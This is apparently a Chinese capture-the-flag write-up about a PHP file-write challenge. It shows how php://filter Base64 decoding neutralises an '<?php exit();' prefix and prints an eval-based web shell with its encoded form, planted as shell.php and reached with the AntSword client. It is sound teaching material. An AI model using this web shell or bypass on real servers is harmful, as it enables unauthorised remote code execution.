1.代码分析
使用`highlight_file(__FILE__);`高亮显示当前文件。
使用`file_put_contents`将数据写入文件。具体来说,它从GET参数获取文件名,从POST参数获取内容,并在内容前面加上`"<?php exit();"`,然后将整个字符串写入文件。
<?php exit();,导致后续代码无法执行。
2.攻击原理
要绕过文件写入时的限制(file_put_contents 在内容前添加 <?php exit();),可以利用 PHP 的过滤器(php://filter)配合 Base64 解码破坏前缀的 PHP 代码结构。
3.攻击步骤
(1)构造 WebShell 代码
<?php eval($_POST['a']);
Base64 编码后:PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7
(2)计算有效字符并填充
<?php exit(); 的有效 Base64 字符:p, h, p, e, x, i, t(共 7 个),填充 1 个 Base64 字(如 a),使总有效字符数为 8(满足 Base64 解码的 4 字节对齐)。
(3)设置GET 的 filename 参数值
convert.base64-decode:启用 Base64 解码过滤器,这是绕过 <?php exit(); 限制的关键。
resource=shell.php:最终写入的文件名(可自定义)。
(4)用蚁剑连接上传的shell.php文件,找到flag值。
Base64 解码对齐:填充字符(如 a)确保 <?php exit(); 解码后变为乱码,无法执行。